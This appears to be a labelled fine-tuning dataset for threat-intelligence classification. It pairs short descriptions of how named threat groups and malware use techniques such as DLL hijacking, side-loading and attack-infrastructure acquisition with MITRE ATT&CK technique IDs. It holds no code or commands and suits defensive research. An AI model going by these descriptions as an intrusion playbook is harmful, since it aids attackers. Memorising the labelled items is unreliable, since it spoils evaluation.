"APT41 has used search order hijacking to execute malicious payloads, such as Winnti RAT.",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
"Crutch can persist via DLL search order hijacking on Google Chrome, Mozilla Firefox, or Microsoft OneDrive.",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
Downdelph uses search order hijacking of the Windows executable sysprep.exe to escalate privileges.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
Empire contains modules that can discover and exploit various DLL hijacking opportunities.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
FoggyWeb's loader has used DLL Search Order Hijacking to load malicious code instead of the legitimate `version.dll` during the `Microsoft.IdentityServer.ServiceHost.exe` execution process.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
"Hikit has used DLL Search Order Hijacking to load ""oci.dll"" as a persistence mechanism.",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
InvisiMole can be launched by using DLL search order hijacking in which the wrapper DLL is placed in the same folder as explorer.exe and loaded during startup into the Windows Explorer process instead of the legitimate library.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
Melcoz can use DLL hijacking to bypass security controls.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
MirageFox is likely loaded via DLL hijacking into a legitimate McAfee binary.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
PlugX has the ability to use DLL search order hijacking for installation on targeted systems.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
PowerSploit contains a collection of Privesc-PowerUp modules that can discover and exploit DLL hijacking opportunities in services and processes.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
RTM has used search order hijacking to force TeamViewer to load a malicious DLL.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
RedLeaves is launched through use of DLL search order hijacking to load a malicious dll.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
Threat Group-3390 has performed DLL search order hijacking to execute their payload.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
"Variants of WEBC2 achieve persistence by using DLL search order hijacking, usually by copying the DLL file to ""%SYSTEMROOT%"" (""C:\WINDOWS\ntshrui.dll"").",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
WastedLocker has performed DLL hijacking before execution.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
Whitefly has used search order hijacking to run the loader Vcrodat.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
A Patchwork .dll that contains BADNEWS is loaded and executed using DLL side-loading.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
A gh0st RAT variant has used DLL side-loading.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
APT19 launched an HTTP malware variant and a Port 22 malware variant using a legitimate executable that loaded the malicious DLL.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
APT3 has been known to side load DLLs with a valid version of Chrome with one of their tools.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"APT32 ran legitimately-signed executables from Symantec and McAfee which load a malicious DLL. The group also side-loads its backdoor by dropping a library and a legitimate, signed executable (AcroTranscoder).",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
APT41 used legitimate executables to perform DLL side-loading of their malware.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
BADNEWS typically loads its DLL file into a legitimate signed Java or VMware executable.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
BRONZE BUTLER has used legitimate applications to side-load malicious DLLs.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
BlackTech has used DLL side loading by giving DLLs hardcoded names and placing them in searched directories.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"Clambling can store a file named `mpsvc.dll`, which opens a malicious `mpsvc.mui` file, in the same folder as the legitimate Microsoft executable `MsMpEng.exe` to gain execution.",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
Denis exploits a security vulnerability to load a fake DLL and execute its code.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"During Operation CuckooBees, the threat actors used the legitimate Windows services `IKEEXT` and `PrintNotify` to side-load malicious DLLs.",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"During the T9000 installation process, it drops a copy of the legitimate Microsoft binary igfxtray.exe. The executable contains a side-loading weakness which is used to load a portion of the malware.",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
Earth Lusca has placed a malicious payload in `%WINDIR%\SYSTEM32\oci.dll` so it would be sideloaded by the MSDTC service.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
Ecipekac can abuse the legitimate application policytool.exe to load a malicious DLL.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
Egregor has used DLL side-loading to execute its payload.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
FinFisher uses DLL side-loading to load malicious programs.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"Goopy has the ability to side-load malicious DLLs with legitimate applications from Kaspersky, Microsoft, and Google.",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
HTTPBrowser has used DLL side-loading.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"Higaisa’s JavaScript file used a legitimate Microsoft Office 2007 package to side-load the ""OINFO12.OCX"" dynamic link library.",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"HyperBro has used a legitimate application to sideload a DLL to decrypt, decompress, and run a payload.",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
Javali can use DLL side-loading to load malicious DLLs into legitimate executables.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
Kerrdown can use DLL side-loading to load malicious DLLs.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"LookBack side loads its communications module as a DLL into the ""libcurl.dll"" loader.",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
Metamorfo has side-loaded its malicious DLL file.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
MuddyWater maintains persistence on victim networks through side-loading dlls to trick legitimate programs into running malware.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
Mustang Panda has used a legitimately signed executable to execute a malicious payload within a DLL file.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
Nebulae can use DLL side-loading to gain execution.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
Pandora can use DLL side-loading to execute malicious payloads.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
PowGoop can side-load `Goopdate.dll` into `GoogleUpdate.exe`.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
RCSession can be installed via DLL side-loading.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
RainyDay can use side-loading to run malicious executables.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"Sakula uses DLL side-loading, typically using a digitally signed sample of Kaspersky Anti-Virus (AV) 6.0 for Windows Workstations or McAfee's Outlook Scan About Box to load malicious DLL files.",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
SideCopy has used a malicious loader DLL file to execute the `credwiz.exe` process and side-load the malicious payload `Duser.dll`.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
Sidewinder has used DLL side-loading to drop and execute malicious payloads including the hijacking of the legitimate Windows application file rekeywiz.exe.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
SysUpdate can load DLLs through vulnerable legitimate executables.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"Threat Group-3390 has used DLL side-loading, including by using legitimate Kaspersky antivirus variants in which the DLL acts as a stub loader that loads and executes the shell code.",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
Tropic Trooper has been known to side-load DLLs using a valid version of a Windows Address Book and Windows Defender executable with one of their tools.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
Waterbear has used DLL side loading to import and load a malicious DLL loader.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"Wingbird side loads a malicious file, sspisrv.dll, in part of a spoofed lssas.exe service.",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
ZeroT has used DLL side-loading to load malicious payloads.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
menuPass has used DLL side-loading to launch versions of Mimikatz and PwDump6 as well as UPPERCUT.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
APT41 has configured payloads to load via LD_PRELOAD.,['T1574.006 - Hijack Execution Flow: LD_PRELOAD'],fine_tune
"XCSSET adds malicious file paths to the ""DYLD_FRAMEWORK_PATH"" and ""DYLD_LIBRARY_PATH"" environment variables to execute malicious code.",['T1574.006 - Hijack Execution Flow: LD_PRELOAD'],fine_tune
Empire contains modules that can discover and exploit search order hijacking vulnerabilities.,['T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking'],fine_tune
Empire contains modules that can discover and exploit unquoted path vulnerabilities.,['T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path'],fine_tune
"One variant of BlackEnergy locates existing driver services that have been disabled and drops its driver component into one of those service's paths, replacing the legitimate executable. The malware then sets the hijacked service to start automatically to establish persistence.",['T1574.010 - Services File Permissions Weakness'],fine_tune
"Lazarus Group has abused the ""KernelCallbackTable"" to hijack process control flow and execute shellcode.",['T1574.013 - KernelCallbackTable'],fine_tune
LAPSUS$ has created new virtual machines within the target's cloud environment after leveraging credential access to cloud assets.,['T1578.002 - Create Cloud Instance'],fine_tune
LAPSUS$ has deleted the target's systems and resources in the cloud to trigger the organization's incident and crisis response process.,['T1578.003 - Delete Cloud Instance'],fine_tune
APT1 has registered hundreds of domains for use in operations.,['T1583.001 - Domains'],fine_tune
"APT28 registered domains imitating NATO, OSCE security websites, Caucasus information resources, and other organizations.",['T1583.001 - Domains'],fine_tune
"APT29 has acquired C2 domains, sometimes through resellers.",['T1583.001 - Domains'],fine_tune
APT32 has set up and operated websites to gather information and deliver malware.,['T1583.001 - Domains'],fine_tune
Dragonfly has registered domains for targeting intended victims.,['T1583.001 - Domains'],fine_tune
"Earth Lusca has registered domains, intended to look like legitimate target domains, that have been used in watering hole attacks.",['T1583.001 - Domains'],fine_tune
FIN7 has registered look-alike domains for use in phishing campaigns.,['T1583.001 - Domains'],fine_tune
Ferocious Kitten has acquired domains imitating legitimate sites.,['T1583.001 - Domains'],fine_tune
"For CostaRicto, the threat actors established domains, some of which appeared to spoof legitimate domains.",['T1583.001 - Domains'],fine_tune
"For Operation Dust Storm, the threat actors established domains as part of their operational infrastructure.",['T1583.001 - Domains'],fine_tune
"For Operation Spalax, the threat actors registered hundreds of domains using Duck DNS and DNS Exit.",['T1583.001 - Domains'],fine_tune
Gamaredon Group has registered multiple domains to facilitate payload staging and C2.,['T1583.001 - Domains'],fine_tune
"HEXANE has registered and operated domains for campaigns, often using a security or web technology theme or impersonating the targeted organization.",['T1583.001 - Domains'],fine_tune
"IndigoZebra has established domains, some of which were designed to look like official government domains, for their operations.",['T1583.001 - Domains'],fine_tune
Lazarus Group has acquired domains related to their campaigns to act as distribution points and C2 channels.,['T1583.001 - Domains'],fine_tune
Leviathan has established domains that impersonate legitimate entities to use for targeting efforts.,['T1583.001 - Domains'],fine_tune
"Magic Hound has registered fraudulent domains such as ""mail-newyorker.com"" and ""news12.com.recover-session-service.site"" to target specific victims with phishing attacks.",['T1583.001 - Domains'],fine_tune
Mustang Panda have acquired C2 domains prior to operations.,['T1583.001 - Domains'],fine_tune
"Silent Librarian has acquired domains to establish credential harvesting pages, often spoofing the target organization and using free top level domains .TK, .ML, .GA, .CF, and .GQ.",['T1583.001 - Domains'],fine_tune
TA505 has registered domains to impersonate services such as Dropbox to distribute malware.,['T1583.001 - Domains'],fine_tune
TeamTNT has obtained domains to host their payloads.,['T1583.001 - Domains'],fine_tune
UNC2452 has acquired C2 domains through resellers.,['T1583.001 - Domains'],fine_tune
menuPass has registered malicious domains for use in intrusion campaigns.,['T1583.001 - Domains'],fine_tune
Axiom has acquired dynamic DNS services for use in the targeting of intended victims.,['T1583.002 - DNS Server'],fine_tune
HEXANE has set up custom DNS servers to send commands to compromised hosts via TXT records.,['T1583.002 - DNS Server'],fine_tune
Axiom has used VPS hosting providers in targeting of intended victims.,['T1583.003 - Virtual Private Server'],fine_tune
Dragonfly has acquired VPS infrastructure for use in malicious campaigns.,['T1583.003 - Virtual Private Server'],fine_tune
HAFNIUM has operated from leased virtual private servers (VPS) in the United States.,['T1583.003 - Virtual Private Server'],fine_tune
"Earth Lusca has acquired multiple servers for some of their operations, using each server for a different role.",['T1583.004 - Server'],fine_tune
"For Operation Honeybee, at least one identified persona was used to register for a free account for a control server.",['T1583.004 - Server'],fine_tune
Lazarus Group has acquired servers to host their malicious tools.,['T1583.004 - Server'],fine_tune
Sandworm Team has leased servers from resellers instead of leasing infrastructure directly from hosting companies to enable its operations.,['T1583.004 - Server'],fine_tune
APT17 has created profile pages in Microsoft TechNet that were used as C2 infrastructure.,['T1583.006 - Web Services'],fine_tune
APT28 has used newly-created Blogspot pages for credential harvesting operations.,['T1583.006 - Web Services'],fine_tune
"APT29 has registered algorithmically generated Twitter handles that are used for C2 by malware, such as HAMMERTOSS.",['T1583.006 - Web Services'],fine_tune
Earth Lusca has established GitHub accounts to host their malware.,['T1583.006 - Web Services'],fine_tune
"For Operation Sharpshooter, the threat actors used Dropbox to host lure documents and their first-stage downloader.",['T1583.006 - Web Services'],fine_tune
HAFNIUM has acquired web services for use in C2 and exfiltration.,['T1583.006 - Web Services'],fine_tune
IndigoZebra created Dropbox accounts for their operations.,['T1583.006 - Web Services'],fine_tune
LazyScripter has established GitHub accounts to host its toolsets.,['T1583.006 - Web Services'],fine_tune
Magic Hound has acquired Amazon S3 buckets to use in C2.,['T1583.006 - Web Services'],fine_tune
POLONIUM has created and used legitimate Microsoft OneDrive accounts for their operations.,['T1583.006 - Web Services'],fine_tune
Turla has created web accounts including Dropbox and GitHub for C2 and document exfiltration.,['T1583.006 - Web Services'],fine_tune
ZIRCONIUM has used GitHub to host malware linked in spearphishing e-mails.,['T1583.006 - Web Services'],fine_tune
APT1 hijacked FQDNs associated with legitimate websites hosted by hop points.,['T1584.001 - Domains'],fine_tune
APT29 has compromised domains to use for C2.,['T1584.001 - Domains'],fine_tune
Kimsuky has compromised legitimate sites and used them to distribute malware.,['T1584.001 - Domains'],fine_tune
"Lazarus Group has compromised legitimate domains, including those hosted in the US and Italy, for C2.",['T1584.001 - Domains'],fine_tune
Magic Hound has used compromised domains to host links targeted to specific phishing victims.,['T1584.001 - Domains'],fine_tune
"SideCopy has compromised domains for some of their infrastructure, including for C2 and staging malware.",['T1584.001 - Domains'],fine_tune
Transparent Tribe has compromised domains for use in targeted malicious campaigns.,['T1584.001 - Domains'],fine_tune
UNC2452 has compromised domains to use for C2.,['T1584.001 - Domains'],fine_tune
APT16 has compromised otherwise legitimate sites as staging servers for second-stage payloads.,['T1584.004 - Server'],fine_tune
Dragonfly has compromised legitimate websites to host C2 and malware modules.,['T1584.004 - Server'],fine_tune
"During Night Dragon, threat actors compromised web servers to use for C2.",['T1584.004 - Server'],fine_tune
Earth Lusca has used compromised web servers as part of their operational infrastructure.,['T1584.004 - Server'],fine_tune
Indrik Spider has served fake updates via legitimate websites that have been compromised.,['T1584.004 - Server'],fine_tune
Turla has used compromised servers as infrastructure.,['T1584.004 - Server'],fine_tune
Sandworm Team has used a large-scale botnet to target Small Office/Home Office (SOHO) network devices.,['T1584.005 - Botnet'],fine_tune
Turla has frequently used compromised WordPress sites for C2 infrastructure.,['T1584.006 - Web Services'],fine_tune
APT32 has set up Facebook pages in tandem with fake websites.,['T1585.001 - Social Media Accounts'],fine_tune
Fox Kitten has used a Twitter account to communicate with ransomware victims.,['T1585.001 - Social Media Accounts'],fine_tune
HEXANE has established fraudulent LinkedIn accounts impersonating HR department employees to target potential victims with fake job offers.,['T1585.001 - Social Media Accounts'],fine_tune
Kimsuky has created social media accounts to monitor news and security trends as well as potential targets.,['T1585.001 - Social Media Accounts'],fine_tune
Lazarus Group has created new LinkedIn and Twitter accounts to conduct social engineering against potential victims.,['T1585.001 - Social Media Accounts'],fine_tune
"APT1 has created email accounts for later use in social engineering, phishing, and when registering domains.",['T1585.002 - Email Accounts'],fine_tune
EXOTIC LILY has created e-mail accounts to spoof targeted organizations.,['T1585.002 - Email Accounts'],fine_tune
"For FunnyDream, the threat actors likely established an identified email account to register a variety of domains that were used during the campaign.",['T1585.002 - Email Accounts'],fine_tune
HEXANE has established email accounts for use in domain registration including for ProtonMail addresses.,['T1585.002 - Email Accounts'],fine_tune
Kimsuky has created email accounts for phishing operations.,['T1585.002 - Email Accounts'],fine_tune
Leviathan has created new email accounts for targeting efforts.,['T1585.002 - Email Accounts'],fine_tune
Magic Hound has established email accounts using fake personas for spearphishing operations.,['T1585.002 - Email Accounts'],fine_tune
Mustang Panda has leveraged the legitimate email marketing service SMTP2Go for phishing campaigns.,['T1585.002 - Email Accounts'],fine_tune
Sandworm Team has created email accounts that mimic legitimate organizations for its spearphishing operations.,['T1585.002 - Email Accounts'],fine_tune
Leviathan has compromised social media accounts to conduct social engineering attacks.,['T1586.001 - Social Media Accounts'],fine_tune
APT28 has used compromised email accounts to send credential phishing emails.,['T1586.002 - Email Accounts'],fine_tune
HEXANE has used compromised accounts to send spearphishing emails.,['T1586.002 - Email Accounts'],fine_tune
IndigoZebra has compromised legitimate email accounts to use in their spearphishing operations.,['T1586.002 - Email Accounts'],fine_tune
Kimsuky has compromised email accounts to send spearphishing e-mails.,['T1586.002 - Email Accounts'],fine_tune
Leviathan has compromised email accounts to conduct social engineering attacks.,['T1586.002 - Email Accounts'],fine_tune
Kimsuky created and used a mailing toolkit to use in spearphishing attacks.,['T1587 - Develop Capabilities'],fine_tune
APT29 has leveraged numerous pieces of malware that appear to be unique to APT29 and were likely developed for or by the group.,['T1587.001 - Malware'],fine_tune
"Aoqin Dragon has used custom malware, including Mongall and Heyoka Backdoor, in their operations.",['T1587.001 - Malware'],fine_tune
"Cleaver has created customized tools and payloads for functions including ARP poisoning, encryption, credential dumping, ASP.NET shells, web backdoors, process enumeration, WMI querying, HTTP and SMB communications, network interface sniffing, and keystroke logging.",['T1587.001 - Malware'],fine_tune
"During Operation Wocao, threat actors developed their own custom webshells to upload to compromised servers.",['T1587.001 - Malware'],fine_tune
"FIN7 has developed malware for use in operations, including the creation of infected removable media.",['T1587.001 - Malware'],fine_tune
"For CostaRicto, the threat actors used custom malware, including PS1, CostaBricks, and SombRAT.",['T1587.001 - Malware'],fine_tune
"For Operation Sharpshooter, the threat actors used the Rising Sun modular backdoor.",['T1587.001 - Malware'],fine_tune
Ke3chang has developed custom malware that allowed them to maintain persistence on victim networks.,['T1587.001 - Malware'],fine_tune
"Moses Staff has built malware, such as DCSrv and PyDCrypt, for targeting victims' machines.",['T1587.001 - Malware'],fine_tune
Night Dragon used privately developed and customized remote access tools.,['T1587.001 - Malware'],fine_tune
"Sandworm Team has developed malware for its operations, including malicious mobile applications and destructive malware such as NotPetya and Olympic Destroyer.",['T1587.001 - Malware'],fine_tune
TeamTNT has developed custom malware such as Hildegard.,['T1587.001 - Malware'],fine_tune
Turla has developed its own unique malware for use in operations.,['T1587.001 - Malware'],fine_tune
"UNC2452 developed SUNSPOT, SUNBURST, TEARDROP, and Raindrop; SUNSPOT and SUNBURST were tailored to be incorporated into SolarWind's Orion software library.",['T1587.001 - Malware'],fine_tune
PROMETHIUM has created self-signed certificates to sign malicious installers.,['T1587.002 - Code Signing Certificates'],fine_tune
Patchwork has created self-signed certificates from fictitious and spoofed legitimate software companies that were later used to sign malware.,['T1587.002 - Code Signing Certificates'],fine_tune
APT29 has created self-signed digital certificates to enable mutual TLS authentication for malware.,['T1587.003 - Digital Certificates'],fine_tune
"For C0011, Transparent Tribe established SSL certificates on the typo-squatted domains the group registered.",['T1587.003 - Digital Certificates'],fine_tune
PROMETHIUM has created self-signed digital certificates for use in HTTPS C2 traffic.,['T1587.003 - Digital Certificates'],fine_tune
APT1 used publicly available malware for privilege escalation.,['T1588.001 - Malware'],fine_tune
"During Night Dragon, threat actors used Trojans from underground hacker websites.",['T1588.001 - Malware'],fine_tune
"For C0015, the threat actors used Cobalt Strike and Conti ransomware.",['T1588.001 - Malware'],fine_tune
"For FunnyDream, the threat actors used a new backdoor named FunnyDream.",['T1588.001 - Malware'],fine_tune
"For Operation Spalax, the threat actors obtained malware, including Remcos, njRAT, and AsyncRAT.",['T1588.001 - Malware'],fine_tune
LAPSUS$ acquired and used the Redline password stealer in their operations.,['T1588.001 - Malware'],fine_tune
LazyScripter has used a variety of open-source remote access Trojans for its operations.,['T1588.001 - Malware'],fine_tune
TA505 has used malware such as Azorult and Cobalt Strike in their operations.,['T1588.001 - Malware'],fine_tune
"Turla has used malware obtained after compromising other threat actors, such as OilRig.",['T1588.001 - Malware'],fine_tune
APT-C-36 obtained and used a modified variant of Imminent Monitor.,['T1588.002 - Tool'],fine_tune
APT1 has used various open-source tools for privilege escalation purposes.,['T1588.002 - Tool'],fine_tune
APT19 has obtained and used publicly-available tools like Empire.,['T1588.002 - Tool'],fine_tune
"APT28 has obtained and used open-source tools like Koadic, Mimikatz, and Responder.",['T1588.002 - Tool'],fine_tune
"APT29 has obtained and used a variety of tools including Mimikatz, SDelete, Tor, meek, and Cobalt Strike.",['T1588.002 - Tool'],fine_tune
"APT32 has obtained and used tools such as Mimikatz and Cobalt Strike, and a variety of other open-source tools from GitHub.",['T1588.002 - Tool'],fine_tune
APT33 has obtained and leveraged publicly-available tools for early intrusion activities.,['T1588.002 - Tool'],fine_tune
APT38 has obtained and used open-source tools such as Mimikatz.,['T1588.002 - Tool'],fine_tune
Aoqin Dragon obtained the Heyoka open source exfiltration tool and subsequently modified it for their operations.,['T1588.002 - Tool'],fine_tune
BITTER has obtained tools such as PuTTY for use in their operations.,['T1588.002 - Tool'],fine_tune
"BRONZE BUTLER has obtained and used open-source tools such as Mimikatz, gsecdump, and Windows Credential Editor.",['T1588.002 - Tool'],fine_tune
BackdoorDiplomacy has obtained a variety of open-source reconnaissance and red team tools for discovery and lateral movement.,['T1588.002 - Tool'],fine_tune
"BlackTech has obtained and used tools such as Putty, SNScan, and PsExec for its operations.",['T1588.002 - Tool'],fine_tune
Carbanak has obtained and used open-source tools such as PsExec and Mimikatz.,['T1588.002 - Tool'],fine_tune
"Cobalt Group has obtained and used a variety of tools including Mimikatz, PsExec, Cobalt Strike, and SDelete.",['T1588.002 - Tool'],fine_tune
"CopyKittens has used Metasploit, Empire, and AirVPN for post-exploitation activities.",['T1588.002 - Tool'],fine_tune
CostaRicto has obtained open source tools to use in their operations.,['T1588.002 - Tool'],fine_tune
"DarkHydrus has obtained and used tools such as Mimikatz, Empire, and Cobalt Strike.",['T1588.002 - Tool'],fine_tune
"Dragonfly has obtained and used tools such as Mimikatz, CrackMapExec, and PsExec.",['T1588.002 - Tool'],fine_tune
"During CostaRicto, the threat actors obtained open source tools to use in their operations.",['T1588.002 - Tool'],fine_tune
Earth Lusca has acquired and used a variety of open source tools.,['T1588.002 - Tool'],fine_tune
Ember Bear has obtained and used open source scripts from GitHub.,['T1588.002 - Tool'],fine_tune
FIN10 has relied on publicly-available software to gain footholds and establish persistence in victim environments.,['T1588.002 - Tool'],fine_tune
"FIN5 has obtained and used a customized version of PsExec, as well as use other tools such as pwdump, SDelete, and Windows Credential Editor.",['T1588.002 - Tool'],fine_tune
"FIN6 has obtained and used tools such as Mimikatz, Cobalt Strike, and AdFind.",['T1588.002 - Tool'],fine_tune
"Ferocious Kitten has obtained open source tools for its operations, including JsonCPP and Psiphon.",['T1588.002 - Tool'],fine_tune
"For C0015, the threat actors obtained a variety of tools, including AdFind,  AnyDesk, and Process Hacker.",['T1588.002 - Tool'],fine_tune
"For Frankenstein, the threat actors obtained and used Empire.",['T1588.002 - Tool'],fine_tune
"For FunnyDream, the threat actors used a modified version of the open source PcShare remote administration tool.",['T1588.002 - Tool'],fine_tune
"For Operation Spalax, the threat actors obtained packers such as CyaX.",['T1588.002 - Tool'],fine_tune
"For Operation Wocao, the threat actors obtained a variety of open source tools, including JexBoss, KeeThief, and BloodHound.",['T1588.002 - Tool'],fine_tune
Frankenstein has obtained and used Empire to deploy agents.,['T1588.002 - Tool'],fine_tune
"GALLIUM has used a variety of widely-available tools, which in some cases they modified to add functionality and/or subvert antimalware solutions.",['T1588.002 - Tool'],fine_tune
Gorgon Group has obtained and used tools such as QuasarRAT and Remcos.,['T1588.002 - Tool'],fine_tune
"Kimsuky has obtained and used tools such as Nirsoft WebBrowserPassVIew, Mimikatz, and PsExec.",['T1588.002 - Tool'],fine_tune
LAPSUS$ has obtained tools such as AD Explorer inspection software for their operations.,['T1588.002 - Tool'],fine_tune
"Leafminer has obtained and used tools such as LaZagne, Mimikatz, PsExec, and MailSniper.",['T1588.002 - Tool'],fine_tune
Moses Staff has used the commercial tool DiskCryptor.,['T1588.002 - Tool'],fine_tune
MuddyWater has made use of legitimate tools ConnectWise and Remote Utilities to gain access to target environment.,['T1588.002 - Tool'],fine_tune
Night Dragon has obtained and used tools such as gsecdump.,['T1588.002 - Tool'],fine_tune
POLONIUM has obtained and used tools such as AirVPN and plink in their operations.,['T1588.002 - Tool'],fine_tune
PittyTiger has obtained and used tools such as Mimikatz and gsecdump.,['T1588.002 - Tool'],fine_tune
Sandworm Team has acquired open-source tools for some of it's operations; for example it acquired Invoke-PSImage to establish an encrypted channel from a compromised host to Sandworm Team's C2 server as part of its preparation for the 2018 Winter Olympics attack.,['T1588.002 - Tool'],fine_tune
Silent Librarian has obtained free and publicly available tools including SingleFile and HTTrack to copy login pages of targeted organizations.,['T1588.002 - Tool'],fine_tune
"TA505 has used a variety of tools in their operations, including AdFind, BloodHound, Mimikatz, and PowerSploit.",['T1588.002 - Tool'],fine_tune
TEMP.Veles has obtained and used tools such as Mimikatz and PsExec.,['T1588.002 - Tool'],fine_tune
"Threat Group-3390 has obtained and used tools such as Impacket, pwdump, Mimikatz, gsecdump, NBTscan, and Windows Credential Editor.",['T1588.002 - Tool'],fine_tune
Turla has obtained and customized publicly-available tools like Mimikatz.,['T1588.002 - Tool'],fine_tune
WIRTE has obtained and used Empire for post-exploitation activities.,['T1588.002 - Tool'],fine_tune
Whitefly has obtained and used tools such as Mimikatz.,['T1588.002 - Tool'],fine_tune
"Wizard Spider has obtained and used publicly-available post-exploitation frameworks and tools like Metasploit, Empire, Mimikatz.",['T1588.002 - Tool'],fine_tune
"menuPass has used and modified open-source tools like Impacket, Mimikatz, and pwdump.",['T1588.002 - Tool'],fine_tune
Ember Bear has stolen legitimate certificates to sign malicious payloads.,['T1588.003 - Code Signing Certificates'],fine_tune
Lazarus Group has used code signing certificates issued by Sectigo RSA for some of its malware and tools.,['T1588.003 - Code Signing Certificates'],fine_tune
MegaCortex has used code signing certificates issued to fake companies to bypass security controls.,['T1588.003 - Code Signing Certificates'],fine_tune
Wizard Spider obtained a code signing certificate signed by Digicert for some of its malware.,['T1588.003 - Code Signing Certificates'],fine_tune
"BlackTech has used valid, stolen digital certificates for some of their malware and tools.",['T1588.004 - Digital Certificates'],fine_tune
Kimsuky has obtained exploit code for various CVEs.,['T1588.005 - Exploits'],fine_tune
"In 2017, Sandworm Team conducted technical research related to vulnerabilities associated with websites used by the Korean Sport and Olympic Committee, a Korean power company, and a Korean airport.",['T1588.006 - Vulnerabilities'],fine_tune
APT32 has conducted targeted surveillance against activists and bloggers.,['T1589 - Gather Victim Identity Information'],fine_tune
HEXANE has identified specific potential victims at targeted organizations.,['T1589 - Gather Victim Identity Information'],fine_tune
LAPSUS$ has gathered detailed information of target employees to enhance their social engineering lures.,['T1589 - Gather Victim Identity Information'],fine_tune
APT28 has harvested user's login credentials.,['T1589.001 - Credentials'],fine_tune
APT29 has conducted credential theft operations to obtain credentials to be used for access to victim environments.,['T1589.001 - Credentials'],fine_tune
Chimera has collected credentials for the target organization from previous breaches for use in brute force attacks.,['T1589.001 - Credentials'],fine_tune
LAPSUS$ has gathered user identities and credentials to gain initial access to a victim's organization; the group has also called an organization's help desk to reset a target's credentials.,['T1589.001 - Credentials'],fine_tune
Magic Hound gathered credentials from two victims that they then attempted to validate across 75 different websites.,['T1589.001 - Credentials'],fine_tune
AADInternals can check for the existence of user email addresses using public Microsoft APIs.,['T1589.002 - Email Addresses'],fine_tune
APT32 has collected e-mail addresses for activists and bloggers in order to target them with spyware.,['T1589.002 - Email Addresses'],fine_tune
EXOTIC LILY has gathered targeted individuals' e-mail addresses through open source research and website contact forms.,['T1589.002 - Email Addresses'],fine_tune
"HEXANE has targeted executives, human resources staff, and IT personnel for spearphishing.",['T1589.002 - Email Addresses'],fine_tune
Kimsuky has collected valid email addresses that were subsequently used in spearphishing campaigns.,['T1589.002 - Email Addresses'],fine_tune
Lazarus Group collected email addresses belonging to various departments of a targeted organization which were used in follow-on phishing campaigns.,['T1589.002 - Email Addresses'],fine_tune
Sandworm Team has obtained valid emails addresses while conducting research against target organizations that were subsequently used in spearphishing campaigns.,['T1589.002 - Email Addresses'],fine_tune
Silent Librarian has collected e-mail addresses from targeted organizations from open Internet searches.,['T1589.002 - Email Addresses'],fine_tune
